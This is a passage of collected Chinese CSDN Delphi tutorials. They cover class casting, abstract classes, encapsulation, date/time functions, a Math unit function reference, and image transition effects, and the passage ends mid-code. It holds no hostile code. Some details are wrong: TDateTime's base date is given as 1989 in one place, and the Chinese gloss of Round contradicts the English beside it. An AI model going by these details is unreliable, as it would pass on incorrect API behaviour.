procedure TForm1.Button1Click(Sender: TObject);
begin
TCanvas(Sender).Brush.Color:=clRed;
end;
执行一下，就会出错。这样岂不是违背了面对对象的程序设计的宗旨了吗？没有，即然
是类，就应该有类特定的类强制转化方法，改(三)的方法如下：
(四)
procedure TForm1.Button1Click(Sender: TObject);
begin
(Sender as TCanvas).Brush.Color:=clRed;
end;//用as来转化，as就可以把错误抓住，不会影响程序的正常运行。
说到这我顺便提一下VB吧，如果学过VB的人可能觉得其中的控件数组比较爽，尤其是在
编写象计算器这样的程序时。但Delphi给我们什么呢？答案是Delphi也能快速简洁的开
发出这样的程序。如是操作：在窗体上放一个Edit和十个Button，把Button.Caption分
别设为'0','1','2',...'9'，然后写一个按钮的OnClick事件如下：
(五)
procedure TForm1.Button1Click(Sender: TObject);
begin
Edit1.Text:=Edit1.Text+(Sender as TButton).Caption;
end;
把别的Button的OnClick事件都关联到Button1Click上，运行程序。拍拍手!这样计算器
程序的雏形就具备了。我们用Delphi的类类型转化，开发出来类似VB中的控件数组功能
的程序也是很棒的嘛!:)

4.抽象类和它的实例
Delphi中有一种类为抽象类，你不能天真的直接为它创建一个实例。如：TStrings
类。如下代码：
(一)
var
StrLst:TStrings;
begin
StrLst:=TStrings.Create;
StrLst.Add('I love Japan!');
StrLst.Free;
end;
这是不对的。那如何为诸如TStrings这样的抽象类构造实例呢？答案是借助它的非抽
象子类。我们知道TStrings有一个TStringList非抽象子类。我们就可以这样作：
(二)
var
StrLst:TStrings;
begin
StrLst:=TStringList.Create;//借助其子类的构造器，对StrLst进行子类化
StrLst.Add('I love China!');
StrLst.Free;
end;
(三)
var
StrLst:TStringList;
begin
StrLst:=TStringList.Create;
file://放弃吧，不要再用抽象类，完全用它的“儿子”来你的事吧
StrLst.Add('I love China!');
StrLst.Free;
end;

5.类是一种对数据和操作高度的封装机制
(一)数据封装
unit Unit2;

interface
type
TEmployee=class
private
FName:String;
public
Constructor Create;
function GetName:String;
procedure SetName(AName:String);
end;
implementation

{ TEmployee }

constructor TEmployee.Create;
begin
FName:='BlazingFire';
end;

function TEmployee.GetName: String;
begin
Result:=FName;
end;

procedure TEmployee.SetName(AName: String);
begin
FName:=AName;
end;

end.
如上代码，我们就用了一个过程SetName和一个函数GetName对私有变量FName进行完全的
封装。我们要对FName操作就只有这样：
uses
unit2;
procedure TForm1.Button1Click(Sender: TObject);
var
AEmployee:TEmployee;
begin
AEmployee:=TEmployee.Create;
AEmployee.SetName('Rose');//利用SetName来设置FName
MessageBox(Handle,PChar(AEmployee.GetName),'Empoyee',0);
file://用GetName来访问FName
AEmployee.Free;
end;
(二)操作封装
unit Unit2;

interface
type
TDivision=Class
public
file://多态性让你的程序更据有“柔韧性”
function GetDiv(Num1,Num2:Double):Double;overload;
function GetDiv(Num1,Num2:integer):integer;overload;
end;
implementation

{ Division }

function TDivision.GetDiv(Num1, Num2: Double): Double;
begin
try
Result:=Num1/Num2;
except
Result:=0;//提供弹形处理机制，处理除数为0情况
end;
end;

function TDivision.GetDiv(Num1, Num2: integer): integer;
begin
try
Result:=Num1 div Num2;
except
Result:=0;//提供弹形处理机制，处理除数为0情况
end;
end;

end.
如上代码我们通过类的多态性机制把除法分别处理成整除和非整除，又通过异常处理屏
去除数为0的情况，从而保证操作的安全性，在调用时，我们就可以这样来：
uses
unit2;
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
Division:TDivision;
IValue:integer;
FValue:Double;
begin
Division:=TDivision.Create;
IValue:=Division.GetDiv(1,2);
FValue:=Division.GetDiv(1.0,2);
IValue:=Division.GetDiv(1,0);
FValue:=Division.GetDiv(1.0,0);
Division.Free;
end;

6.类是一种代码重用机制
比方在5中我们想对这个类加上一个GetAdd函数来作加法运算就可以用类的继承。如
下写就可以了：
(一)
unit Unit2;

interface
type
TDivision=Class
public
function GetDiv(Num1,Num2:Double):Double;overload;
function GetDiv(Num1,Num2:integer):integer;overload;
end;
type
TOperation=Class(TDivision)
public
function GetAdd(Num1,Num2:Double):Double;
end;
implementation

{ Division }

function TDivision.GetDiv(Num1, Num2: Double): Double;
begin
try
Result:=Num1/Num2;
except
Result:=0;
end;
end;

function TDivision.GetDiv(Num1, Num2: integer): integer;
begin
try
Result:=Num1 div Num2;
except
Result:=0;
end;
end;

{ TOperation }

function TOperation.GetAdd(Num1, Num2: Double): Double;
begin
Result:=Num1+Num2;
end;

end.
这里我们从TDivision继承了一个子类TOperation。TOperation就可以即有TDivsion
公有方法GetDiv，又有自己的独特的方法GetAdd。这是类为我们提供的“鱼和熊掌兼
得”之法。不错吧。:)


CSDN_文档中心_delphi中的时间操作技术(1)

在编写应用程序时，我们需要经常与时间和日期打交道，因此经常需要一些对时间的控制技术，在Delphi中，提供了一整套对日期和时间的操作函数，在此，我将详细介绍一下在Delphi中的时间操作技术，希望能对大家有所帮助。

Delphi中的用于表示时间的类型：

首先，看一看在delphi中用于描述时间的几种数据结构，对时间的操作，其实就是对这些结构的操作。

TDateTime类型：

Delphi中最常用的表示日期时间的数据类型TDateTime类型，和普通的整形数一样，你可以给日期定义一个日期型变量以便在程序中进行操作。TdateTime类型实质上是一个Double型的数，在Delphi中是这样定义TdateTime类型： type TDateTime = type Double ,具体的算法是用Double数的整数部分表示日期，以1989年12月30日为基准点，以天为单位进行加减，如数字1表示1900年1月1日，数字-1表示1989年12月29日。而小数部分则用来表示时间，其值为欲表示的时间与一整天总时间的比值，如早上6点就是6/24=0.25,而早上6:15就是(6*60+15)/(24*60)=0.2604166666666666666666666666667，下面，给出几个例子说明TDateTime类型与Double类型的交互关系

0 12/30/1899 00:00:00

2.75 1/1/1900 18:00:00

-1.25 12/29/1899 6:00:00

35065 1/1/1996 00:00:00

相信大家一定能自己理解TdateTime与Double之间的转换方法，因此，从根本上对TDateTime的操作与Double完全一样。

TTimeStamp 类型：

这是一个用来描述日期与时间的一个结构类型，在Delphi中是这样定义的：

type

TTimeStamp = record

Time: Integer; {从午夜0点开始到指定时间的毫秒数 }

Date: Integer; {以本日为基准到指点日期的天数}

end;

和TDateTime相比，可更直观表示高精度的时间，一般用于毫秒级的运算以及用于表示较长的时间。

PsystemTime 类型：

一个用于WinApi中对时间操作的指针型结构。他的定义为：

type

PSystemTime = ^TSystemTime;

TSystemTime = record

wYear: Word;

wMonth: Word;

wDayOfWeek: Word;

wDay: Word;

wHour: Word;

wMinute: Word;

wSecond: Word;

wMilliseconds: Word;

end;

这个结构多用于调用WinApi操作时使用。

在了解了各种时间类型的本质后，相信大家都有一套操作这些类型的时间的想法，不过在Delphi中还提供了一整套用于操作时间的过程函数，这些过程和函数都定义在SysUnit这个单元中，现在就向大家介绍Delphi中相关函数：

用于时间操作的函数

Date函数：

定义：Date: TDateTime;

作用：返回当前的日期

范例：CurrentDate := Date;

DayOfWeek函数：

定义：function DayOfWeek(Date: TDateTime): Integer;

作用：得到指定日期的星期值，返回1～7，代表周日到周六。

IncMouth函数：

定义：function IncMonth(const Date: TDateTime; NumberOfMonths: Integer): TDateTime;

作用：求给定的日期Data在NumberOfMonths个月后的日期。

范例：Date1 := IncMonth(date,10);

如果今天是2002-5-3，则Date1就是2003-3-3

IsLeapYear函数：

定义：function IsLeapYear(Year: Word): Boolean;

作用：判断指定的年份是否是闰年；

范例：if isLeapYear(2000) then ShowMessage(‘该年是闰年’);

Now函数：

定义：function Now: TDateTime;

作用：用于取得当前的日期时间

范例：CurrentDateTime := Now;

ReplaceDate 过程

定义：procedure ReplaceDate(var DateTime: TDateTime; const NewDate: TDateTime);

作用：使用参数Newdate日期部分替换参数DateTime的日期部分，但不改变时间部分。

ReplaceDate 过程

定义：procedure ReplaceTime(var DateTime: TDateTime; const NewTime: TDateTime);

作用：使用参数Newdate时间部分替换参数DateTime的时间部分，但不改变日期部分。

如果上述这两个过程一起用，就相当于赋值了。

Time函数：

定义：function Time: TDateTime;

作用：返回当前的时间

范例：CurrentTime := Time;

能提高您操作时间技术方面的能力，同时也为您在阅读相关的联机帮助时提供一些方便。


CSDN_文档中心_delphi中的时间操作技术（2）

各种时间类型之间的转换函数

DateTimeToFileDate函数：

定义：DateTimeToFileDate(DateTime: TDateTime): Integer;

作用： 将一个TDateTime类型的时间转化为Dos环境中的时间，Dos环境下对时间的访问方法和VCL中的TdateTime类型不一样，在进行文件操作时，为了保持时间的一致性，需要使用DateTimeToFileDate函数进行转化，返回的Integer的值就是Dos下的用于描述时间的值。

DateTimeToSystemTime 过程：

定义：procedure DateTimeToSystemTime(DateTime: TDateTime; var SystemTime: TSystemTime);

作用：将一个TDateTime类型的时间转换为Win API函数所使用的TSystemTime类型，在使用WinApi函数操纵时间时用到。

SystemTimeToDateTime 函数：

定义：function SystemTimeToDateTime(const SystemTime: TSystemTime): TDateTime;

作用：将一个在WinApi函数中得到的TSysTemTime类型的数转换为TDateTime类型。

DateTimeToTimeStamp 函数：

TimeStampToDateTime 函数：

定义：DateTimeToTimeStamp(DateTime: TDateTime): TTimeStamp;

function TimeStampToDateTime(const TimeStamp: TTimeStamp): TDateTime;

作用：用于在TDataTime类型与TTimeStamp之间进行互相转换。TDataTime 用一个double描绘一个时间，而TTimeStamp则是采用两个整形数分别描述时间。两种类型的区别可参考文章开始处的数据类型描述部分。

EncodeDate 函数：

定义：function EncodeDate(Year, Month, Day: Word): TDateTime;

作用： 输入年(year)，月(month)，日(day)的值，将该日期返回为TDateTime类型，年的范围为1-9999,月份的范围为1-12，日期的范围视当月的情况而定，如果输入的值超出范围，则将产生一个EConvertError错误。

DecodeDate 过程：

定义：procedure DecodeDate(Date: TDateTime; var Year, Month, Day: Word);

作用：输入一个TDateTime类型的日期，将其转为年(Year)，月(Month),日(Day)的值。如果输入值为0或小于0，则年月日均为0，

EncodeTime 函数：

定义：EncodeTime(Hour, Min, Sec, MSec: Word): TDateTime;

作用：输入小时(Hour),分(min),秒(Sec),微秒(MSec)的值，返回一个TDateTime类型的时间，该值为一个介于0至1之间的小数。Hour的取值范围为0-23,Min的取值范围为0-59,Sec的取值范围为0-59,MSec的取值范围为0-999，如果输入值超出范围，则产生一个EConvertError 错误。

DecodeTime 过程：

定义：procedure DecodeTime(Time: TDateTime; var Hour, Min, Sec, MSec: Word);

作用：输入一个时间，将其转换为小时(Hour),分(min),秒(Sec),微秒(MSec)的值。

TDateTime类型与字符串型转换函数：

DateTimeToStr 函数：

DateToStr 函数

TimeToStr函数

定义：function DateTimeToStr(DateTime: TDateTime): string;

function TimeToStr(Time: TDateTime): string;

function TimeToStr(Time: TDateTime): string;

作用：将一个TDateTime类型的数转换成字符串，DateTimeToStr转换日期和时间，DateToStr只转换日期，TimeToStr只转换时间。转换后的输出效果为YYYY-M-D H：M：S

StrToDateTime函数

StrToDate函数

StrToTime函数

定义：function StrToDateTime(const S: string): TDateTime;

function StrToDate(const S: string): TDateTime;

function StrToTime(const S: string): TDateTime;

作用：将带有日期时间格式的字符串转化成TDateTime，其中S必须是一个有效的字符串，如

YY-MM-DD HH:MM:SS格式，否则就会触发EConvertError事件，提示错误信息。

时间部分的字符串必须是由2～3个的数值字串构成，并且采用在Windows区域设置中设置的分隔字符进行分隔，其格式要求符合在Windows区域设定中的设定,其中HH,MM(小时，分钟)必须添加，SS（秒）可选，也可以在后面加入 Am和Pm区分上下午，这时候系统将认为采用12小时表示法，否则认为采用24小时表示法。

日期部分的格式要求符合Windows区域设置中的短日期格式，也是由2～3个的数值字串构成，如果在字符串中只有2个数，则认为是指定了月份和日期，年份采用当前年份，

如果在区域设置中采用两位年份的表示方法，则系统将会采用以下方法处理：

当前年份 | 起始年份 | 基准值 | 输入年份03 | 输入年份50 | 输入年份68
1998 | 0 | 1900 | 1903 | 1950 | 1968
2002 | 0 | 2000 | 2003 | 2050 | 2068
1998 | 50 | 1948 | 2003 | 1950 | 1968
2000 | 50 | 1950 | 2003 | 1950 | 1968
2002 | 50 | 1952 | 2003 | 2050 | 1968
2020 | 50 | 1970 | 2003 | 2050 | 2068
2020 | 10 | 2010 | 2103 | 2050 | 2068

首先在区域设置中取得两位年份的起始年份，如在区域设置中设两位年份范围为1932-2031年，则起始年份为32年，如果这个起始年份为0，则认为两位年份表示的都是本世纪，如果其实年份大于0 ，则采用当前年份减去起始年份的值，这个值称为基准值，大于等于这个值则认为事本世纪，否则认为是下世纪，下面给出几个例子说明：

DateTimeToString 过程：

FormatDateTime 函数：

定义：procedure DateTimeToString(var Result: string; const Format: string; DateTime: TDateTime);

function FormatDateTime(const Format: string; DateTime: TDateTime): string;

作用：通过定义Format字串中的格式得到要输出时间字符串，例如要输出“今天是2002年5月5日，星期五”就可以用这两种方法，这两个方法的作用相同，只是一个是通过共享变量取得输出字符串，值在Result中，一个是通过返回值取得输出字符串，DateTime参数是希望输出的日期值，Format由格式标志与附加字符串组合而成。附加字串用””圈起，就像C中的Printf函数.如“今天是2002年5月5日，星期五”的Format值就是 ‘”今天是”yyyy”年”mm”月”dd”日，” dddd’，yyyy,mm,dd,dddd都是格式标识，各种格式标识的解释如下：

d ：用一位或两位整数显示日子（1－31）

dd ：用两位整数显示日子，不足两位的用0补足（01－31）

ddd ：按缩略方式显示当前的星期号，如果Windows是英文版，则显示为Mon－Sun,如果是中文版，则显示同dddd。

dddd ：按完整方式显示当前的星期号，如Windows是英文版，则显示Monday－SumDay,如果是中文版，则显示星期一～星期日

ddddd ：按区域设置中的短日期格式输出。

dddddd ：按区域设置中的长日期格式输出。

m ：用一位或两位整数显示月份（1－12）

mm ：用两位整数显示月份，不足两位的用0补足（01－12）

mmm ：使用缩略方式显示月份名称，英文版显示为Jan-Dec,中文版同mmmm

mmmm ：使用完整方式显示月份名称，英文版显示为January-December,中文版为一月～十二月

yy ：按两位整数方式显示年份（00－99）

yyyy ：按四位整数方式显示年份（0000－9999）

h ：用一位或两位整数显示小时（0－23）

hh ：用两位整数显示小时，不足两位的用0补足（00－23）

n ：用一位或两位整数显示分钟（0－60）

nn ：用两位整数显示分钟，不足两位的用0补足（00－60）

s ：用一位或两位整数显示秒数（0－60）

ss ：用两位整数显示秒数，不足两位的用0补足（00－60）

z ：用一位至两位整数显示毫秒数（0－999）

zzz ：用三位整数显示毫秒数，不足三位的用0补足（000－999）

tt ：按照区域设置中的格式显示日期

am/pm ：用于12小时制的显示，带有AM的则表示从0点～12点，pm代表从12点~0点。

与时间相关的变量：

Delphi封装了区域设置的各种信息，并以此定义了一系列的变量，下面介绍与时间相关的部分变量：

DateSeparator ：Char

日期分隔符，用于分隔年月日

TimeSeparator ：Char

时间分隔符，用于分隔小时，分钟，秒

ShortDateFormat：String

区域设置中短日期格式的定义。

LongDateFormat ：String

区域设置中长日期格式的定义。

ShortTimeFormat：String

区域设置中短时间格式的定义。

LongTimeFormat ：String

区域设置中长时间格式的定义。

TimeAMString ：String

用来表示上午的字符串

TimePMString ：String

用来表示下午的字符串

ShortMonthNames：array[1..12] of String;

用于缩略表示月份名称的数组，就是在使用FormatDateTime时显示的mmm标识的字符串

LongMonthNames：array[1..12] of String;

用于完整表示月份名称的数组，就是在使用FormatDateTime时显示的mmmm标识的字符串

ShortDayNames ：array[1..7] of String;

用于缩略表示星期名称的数组，就是在使用FormatDateTime时显示的ddd标识的字符串

LongDayNames ：array[1..7] of String;

用于完整表示星期名称的数组，就是在使用FormatDateTime时显示的ddd标识的字符串

TwoDigitYearCenturyWindow：Word = 50;

在使用两位年份时的起始年份。

好了，delphi中关于时间操作的部分基本讲完了，在Delphi6中还提供了一些新的操作函数，不过都比较简单，相信大家看帮助都能看懂，至于对于时间的一些操作技巧，相信看完了本文大家都能有一些，这里就不详细描述，同一种功能本来就应该有多种的实现方法。本文在写作中主要参考了delphi5的联机帮助，本文介绍的大部分函数在联机帮助中都有范例，这里就不一一列举，可参考联机帮助，希望本文能提高您操作时间技术方面的能力，同时也为您在阅读相关的联机帮助时提供一些方便。

目前我正在搞Delphi函数中文化的网站，有兴趣的朋友可以访问Http://www.Togetherdev.com


CSDN_文档中心_Delphi中的算术运算函数

Delphi中的算术运算函数

以下内容为编编程网站诸网友共同翻译的结果,如需转载,请注明出处:http://www.togetherdev.com,如果您对翻译Delphi的函数有兴趣,可登录编编程网站，如果对翻译的内容有什么看法，可以在回帖或在编编程网站中提出。

Abs | Ceil | Exp | Floor | frac
Frexp | int | intpower | Ldexp | max
min | pi | poly | power | round
sqrt | trunc | sqr |  |
函数名 | ABS
简要介绍： Returns an absolute value. (取绝对值）
所属单元： System
定义： function Abs(X);
详细解释：
 Abs returns the absolute value of the argument, X.
X is an integer-type or real-type expression.
(Abs函数用于返回变量X的绝对值,X可以是一个整形的变量或实数型的变量)

返回

函数名 | ceil
简要介绍： Rounds variables up toward positive infinity.
所属单元： Math
定义： function Ceil(X: Extended):Integer
详细解释： Call Ceil to obtain the lowest integer greater than or equal to X. The absolute value of X must be less than MaxInt. For example:
Ceil(-2.8) = -2
Ceil(2.8) = 3
Ceil(-1.0) = -1

(调用ceil函数，返回大于或等于x的最小整数值。X的绝对值一定要小于最大整数值。例如：
Ceil(-2.8) = -2

Ceil(2.8) = 3

Ceil(-1.0) = -1)

返回
函数名 | Exp
简要介绍： Returns the exponential of X.(Exp函数返回自然对数基底E的X次幂。)
所属单元： System
定义： function Exp(X: Real): Real;
详细解释：

Exp returns the value of e raised to the power of X, where e is the base of the natural logarithms.
(Exp返回e的X次幂的值，其中e是一个自然对数基底。)

范例：
var
   e : real;
   S : string;
begin
   e := Exp(1.0);
   Str(ln(e):3:2, S);
   S := 'e = ' + FloatToStr(e) + '; ln(e) = ' + S;
   Canvas.TextOut(10, 10, S);
end;

返回

函数名 | Floor
简要介绍： Rounds variables toward negative infinity.(取小于给定值的最大整数)
所属单元： Math
定义： function Floor(X: Extended): Integer;
详细解释：

Call Floor to obtain the highest integer less than or equal to X. For example:

Floor(-2.8) = -3

Floor(2.8) = 2

Floor(-1.0) = -1

Note: The absolute value of X must be less than MaxInt.

(使用Floor函数以取得小于等于X的最大的整数，如：
Floor(-2.8) = -3

Floor(2.8) = 2

Floor(-1.0) = -1

注意：X的绝对值必须小于整形数的最大值)

返回

函数名 | Frac
简要介绍： Returns the fractional part of a real number(返回一个实数的小数部分)
所属单元： System
定义： function Frac(X: Extended): Extended;
详细解释：

The Frac function returns the fractional part of the argument X.

X is a real-type expression. The result is the fractional part of X; that is, Frac(X) = X - Int(X).

(Frac函数返回参数X的小数部分，X是一个实型数,该函数的作用等价于Frac(X)=X-Int(X)。)

范例：
var
a,b:Real;
begin
a := 1.54;
b := frac(a);
end;
此时，a= 1.54,b=0.54

返回

函数名 | Frexp
简要介绍： Separates the Mantissa and Exponent of X(分解开X的尾数和指数。)
所属单元： Math
定义： procedure Frexp(X: Extended; var Mantissa: Extended; var Exponent: Integer) register;
详细解释：

Frexp returns the mantissa of X as Mantissa and the exponent as Exponent.(Frexp函数返回X的尾数用变量Mantissa和指数用变量Exponent)。

返回

函数名 | int
简要介绍： Returns the integer part of a real number.(返回一个实数类型的整数部分)
所属单元： System
定义： function Int(X: Extended): Extended;
详细解释：

Int returns the integer part of X; that is, X rounded toward zero. X is a real-type expression.(Int函数返回参数X的整数部分，X为实数类型，函数结果为X经过负向舍入(向0舍入)实数。)

范例：
var

  R: Real;
begin
  R := Int(123.456);    { 123.0 }
  R := Int(-123.456);   { -123.0 }
end;

返回

函数名 | Intpower
简要介绍： Calculates the integral power of a base value.(计算基数的整数幂。)
所属单元： Math
定义： function IntPower(Base: Extended; Exponent: Integer): Extended register;
详细解释：

IntPower raises Base to the power specified by Exponent

(计算基数的整数幂。base为基数，Exponent为指数)

范例：

返回

函数名 | Ldexp
简要介绍： Calculates X * (2**P)
所属单元： Math
定义： function Ldexp(X: Extended; P: Integer): Extended register;
详细解释：

Ldexp returns X times (2 to the power of P).
(Ldexp计算X*(2**P)，返回X的(2的P次幂)次幂。)

返回

函数名 | Max
简要介绍： Returns the greater of two numeric values.(取两个数中的最大值)
所属单元： Math
定义：
function Max(A,B: Integer): Integer; overload;
function Max(A,B: Int64): Int64; overload;
function Max(A,B: Single): Single; overload;
function Max(A,B: Double): Double; overload;
function Max(A,B: Extended): Extended; overload;
详细解释：

Call Max to compare two numeric values. Max returns the greater value of the two.
(返回两个数值中的最大值。调用Max比较两个数值。它返回二者中较大的一个值。)

返回

函数名 | Min
简要介绍： Returns the lesser of two numeric values.(取两个数的最小值)
所属单元： Math
定义： function Min(A,B: Integer): Integer; overload;
function Min(A,B: Int64): Int64; overload;
function Min(A,B: Single): Single; overload;
function Min(A,B: Double): Double; overload;
function Min(A,B: Extended): Extended; overload;
详细解释：

Call Min to compare two numeric values. Min returns the smaller value of the two.
(返回两个数值中的最小值。调用Max比较两个数值，它返回二者中较小的一个值。)

返回

函数名 | pi
简要介绍： Returns 3.1415926535897932385. (返回3.1415926535897932385.)
所属单元： System
定义： function Pi: Extended;
详细解释：

Use Pi in mathematical calculations that require pi, the ratio of a circle's circumference to its diameter. Pi is approximated as 3.1415926535897932385.
(使用Pi函数精确计算返回圆周率Pi，圆周率是一个圆的周长除以它的直径。Pi的值近似于3.1415926535897932385.)

返回

函数名 | poly(本条翻译无把握)
简要介绍： Evaluates a uniform polynomial of one variable at the value X.
所属单元： Math
定义： function Poly(X: Extended; const Coefficients: array of Double): Extended;
详细解释：

Call Poly to evaluate the polynomial represented by the Coefficients parameter at the point where the variable equals the value of the X parameter. The coefficients are ordered in increasing powers of X:

Coefficients[0] + Coefficients[1]*X + ... + Coefficients[N]*(X**N)
(Poly估计一个变量在同一多项式的X值。调用Poly评估由Coefficients参数表达的多项式在一位置的值等同于X参数的值。参数是顺序的以X的幂增加：Coefficients[0]+
coefficients[1]*X+…..+Cofficients[n]*[X**N])

返回

函数名 | power
简要介绍： Raises Base to any power.(取一个实数的幂）
所属单元： Math
定义： function Power(Base, Exponent: Extended): Extended;
详细解释：

Power raises Base to any power. For fractional exponents or exponents greater than MaxInt, Base must be greater than 0.
（返回一个实数的幂。 当指数Exponent为小数或大于MaxInt时，底数Base必须大于0.）

返回

函数名 | Round
简要介绍： Returns the value of X rounded to the nearest whole number.(对一个实数进行四舍五入)
所属单元： System
定义： function Round(X: Extended): Int64;
详细解释：

The Round function rounds a real-type value to an integer-type value.

X is a real-type expression. Round returns an Int64 value that is the value of X rounded to the nearest whole number. If X is exactly halfway between two whole numbers, the result is always the even number.

If the rounded value of X is not within the Int64 range, a run-time error is generated, which can be handled using the EInvalidOp exception.

(Round返回X向最近整数值的舍入。
函数将一个实型值舍入为一个整型值。X是一个实型表达式。Round返回一个长整型值，是离X最近的整数值。如果X是两个整数值的正中间，结果是绝对值最大的一个。如果X的舍入值不是在长整型范围内，一个运行时间错误将产生，可以使用EinvalidOp异常来处理)

范例：
var

   S, T: string;

begin

   Str(1.4:2:1, T);
   S := T + ' rounds to ' + IntToStr(Round(1.4)) + #13#10;
   Str(1.5:2:1, T);
   S := S + T + ' rounds to ' + IntToStr(Round(1.5)) + #13#10;
   Str(-1.4:2:1, T);
   S := S + T + ' rounds to ' + IntToStr(Round(-1.4)) + #13#10;
   Str(-1.5:2:1, T);
   S := S + T + ' rounds to ' + IntToStr(Round(-1.5));
   MessageDlg(S, mtInformation, [mbOk], 0);
end;

返回

函数名 | Sqr
简要介绍： Returns the square of a number.(取给定值的平方)
所属单元： System
定义： function Sqr(X: Extended): Extended;
详细解释：

The Sqr function returns the square of the argument.

X is a floating-point expression. The result, of the same type as X, is the square of X, or X*X.
(Sqr返回X得平方值，X是一个浮点型的数,返回值的类型与X 相同,值为X*X)

范例： var
S, Temp: string;
begin
Str(Sqr(5.0):3:1, Temp);
S := '5 squared is ' + Temp + #13#10;
Str(Sqrt(2.0):5:4, Temp);
S := S + 'The square root of 2 is ' + Temp;
MessageDlg(S, mtInformation, [mbOk], 0);
end;

返回

函数名 | sqrt
简要介绍： Returns the square root of X.
所属单元： System
定义： function Sqrt(X: Extended): Extended;
详细解释：

X is a floating-point expression. The result is the square root of X.
(取X的平方根,X是一个浮点数，返回值也是个浮点数)

范例： var
S, Temp: string;
begin
Str(Sqr(5.0):3:1, Temp);
S := '5 squared is ' + Temp + #13#10;
Str(Sqrt(2.0):5:4, Temp);
S := S + 'The square root of 2 is ' + Temp;
MessageDlg(S, mtInformation, [mbOk], 0);
end;

返回

函数名 | Trunc
简要介绍： Truncates a real number to an integer.(截取一个实数的整数部分)
所属单元： System
定义： function Trunc(X: Extended): Int64;
详细解释：

The Trunc function truncates a real-type value to an integer-type value. X is a real-type expression. Trunc returns an Int64 value that is the value of X rounded toward zero.

If the truncated value of X is not within the Int64 range, an EInvalidOp exception is raised.

范例： var
S, T: string;
begin
Str(1.4:2:1, T);
S := T + ' Truncs to ' + IntToStr(Trunc(1.4)) + #13#10;
Str(1.5:2:1, T);
S := S + T + ' Truncs to ' + IntToStr(Trunc(1.5)) + #13#10;
Str(-1.4:2:1, T);
S := S + T + ' Truncs to ' + IntToStr(Trunc(-1.4)) + #13#10;
Str(-1.5:2:1, T);
S := S + T + ' Truncs to ' + IntToStr(Trunc(-1.5));
MessageDlg(S, mtInformation, [mbOk], 0);
end;


CSDN_文档中心_Delphi中的图形显示技巧

(06/11/1999)

        概述
    ----目前在许多学习软件、游戏光盘中，经常会看到各种
    图形显示技巧，凭着图形的移动、交错、雨滴状、百页窗、积木堆叠等显现方式，使画面变得更为生动活泼，更 能吸引观众。本文将探讨如何在Delphi中实现各种图形显示技巧。
    基本原理
    ----在Delphi中，实现一副图象的显示是非常简单的，只要在Form中定义一个TImage组件，设置其picture属性，然后选 择任何有效的.ICO、.BMP、.EMF或.WMF文件，进行Load，所选文 件就显示在TImage组件中了。但这只是直接将图形显示在窗体中，毫无技巧可言。为了使图形显示具有别具一格的效果，可以按下列步骤实现：
    ----定义一个TImage组件，把要显示的图形先装入到TImage组件中，也就是说，把图形内容从磁盘载入内存中， 做为图形缓存。
    ----创建一新的位图对象，其尺寸跟TImage组件中的图形一样。
    ----利用画布(Canvas)的CopyRect功能(将一个画布的矩形区域拷贝到另一个画布的矩形区域)，使用技巧，动态形
    成位图文件内容，然后在窗体中显示位图。
    ----实现方法
    下面介绍各种图形显示技巧：
1.推拉效果
    将要显示的图形由上、下、左、右方向拉进屏幕内显示，同时将屏幕上原来的旧图盖掉，此种效果可分为四
    种，上拉、下拉、左拉、右拉，但原理都差不多，以上拉 效果为例。
原理：首先将放在暂存图形的第一条水平线，搬移至要显示的位图的最后一条，接着再将暂存图形的前两条水平线，依序搬移至要显示位图的最后两条水平线，然后搬移前三条、前四条叄?直到全部图形数据搬完为止。在搬移的过程中即可看到显示的位图由下而上浮起，而达到上拉的效果。
程序算法：
procedure TForm1.Button1Click(Sender: TObject);
var
newbmp: TBitmap;
i,bmpheight,bmpwidth:integer;
begin
newbmp:= TBitmap.Create;
newbmp.Width:=image1.Width;
newbmp.Height:=image1.Height;
bmpheight:=image1.Height;
bmpwidth:=image1.Width;
for i:=0 to bmpheight do
begin
newbmp.Canvas.CopyRect(Rect
(0,bmpheight-i,bmpwidth,bmpheight),
image1.Canvas,
Rect(0,0,bmpwidth,i));
form1.Canvas.Draw(120,100,newbmp);
end;
newbmp.free;
end;
2.垂直交错效果
原理：将要显示的图形拆成两部分，奇数条扫描线由上往下搬移，偶数条扫描线的部分则由下往上搬移，而且两者同时进行。从屏幕上便可看到分别由上下两端出现的较淡图形向屏幕中央移动，直到完全清楚为止。
程序算法：
procedure TForm1.Button4Click(Sender: TObject);
var
newbmp:TBitmap;
i,j,bmpheight,bmpwidth:integer;
begin
newbmp:= TBitmap.Create;
newbmp.Width:=image1.Width;
newbmp.Height:=image1.Height;
bmpheight:=image1.Height;
bmpwidth:=image1.Width;
i:=0;
while i< =bmpheight do
begin
j:=i;
while j >0 do
begin
newbmp.Canvas.CopyRect(Rect(0,j-1,bmpwidth,j),
image1.Canvas,
Rect(0,bmpheight-i+j-1,bmpwidth,bmpheight-i+j));
newbmp.Canvas.CopyRect(Rect
(0,bmpheight-j,bmpwidth,bmpheight-j+1),
image1.Canvas,
Rect(0,i-j,bmpwidth,i-j+1));
j:=j-2;
end;
form1.Canvas.Draw(120,100,newbmp);
i:=i+2;
end;
newbmp.free;
end;
3.水平交错效果
原理：同垂直交错效果原理一样，只是将分成两组后的图形分别由左右两端移进屏幕。
程序算法：
procedure TForm1.Button5Click(Sender: TObject);
var
newbmp:TBitmap;
i,j,bmpheight,bmpwidth:integer;
begin
newbmp:= TBitmap.Create;
newbmp.Width:=image1.Width;
newbmp.Height:=image1.Height;
bmpheight:=image1.Height;
bmpwidth:=image1.Width;
i:=0;
while i< =bmpwidth do
begin
j:=i;
while j >0 do
begin
newbmp.Canvas.CopyRect(Rect(j-1,0,j,bmpheight),
image1.Canvas,
Rect(bmpwidth-i+j-1,0,bmpwidth-i+j,bmpheight));
newbmp.Canvas.CopyRect(Rect
(bmpwidth-j,0,bmpwidth-j+1,bmpheight),
image1.Canvas,
Rect(i-j,0,i-j+1,bmpheight));
j:=j-2;
end;
form1.Canvas.Draw(120,100,newbmp);
i:=i+2;
end;
newbmp.free;
end;
4.雨滴效果
原理：将暂存图形的最后一条扫描线，依序搬移到可视位图的第一条到最后一条扫描线，让此条扫描线在屏幕上留下它的轨迹。接着再把暂存图形的倒数第二条扫描线，依序搬移到可视位图的第一条到倒数第二条扫描线。其余的扫描线依此类推。
程序算法：
procedure TForm1.Button3Click(Sender: TObject);
var
newbmp:TBitmap;
i,j,bmpheight,bmpwidth:integer;
begin
newbmp:= TBitmap.Create;
newbmp.Width:=image1.Width;
newbmp.Height:=image1.Height;
bmpheight:=image1.Height;
bmpwidth:=image1.Width;
for i:=bmpheight downto 1 do
for j:=1 to i do
begin
newbmp.Canvas.CopyRect(Rect(0,j-1,bmpwidth,j),
image1.Canvas,
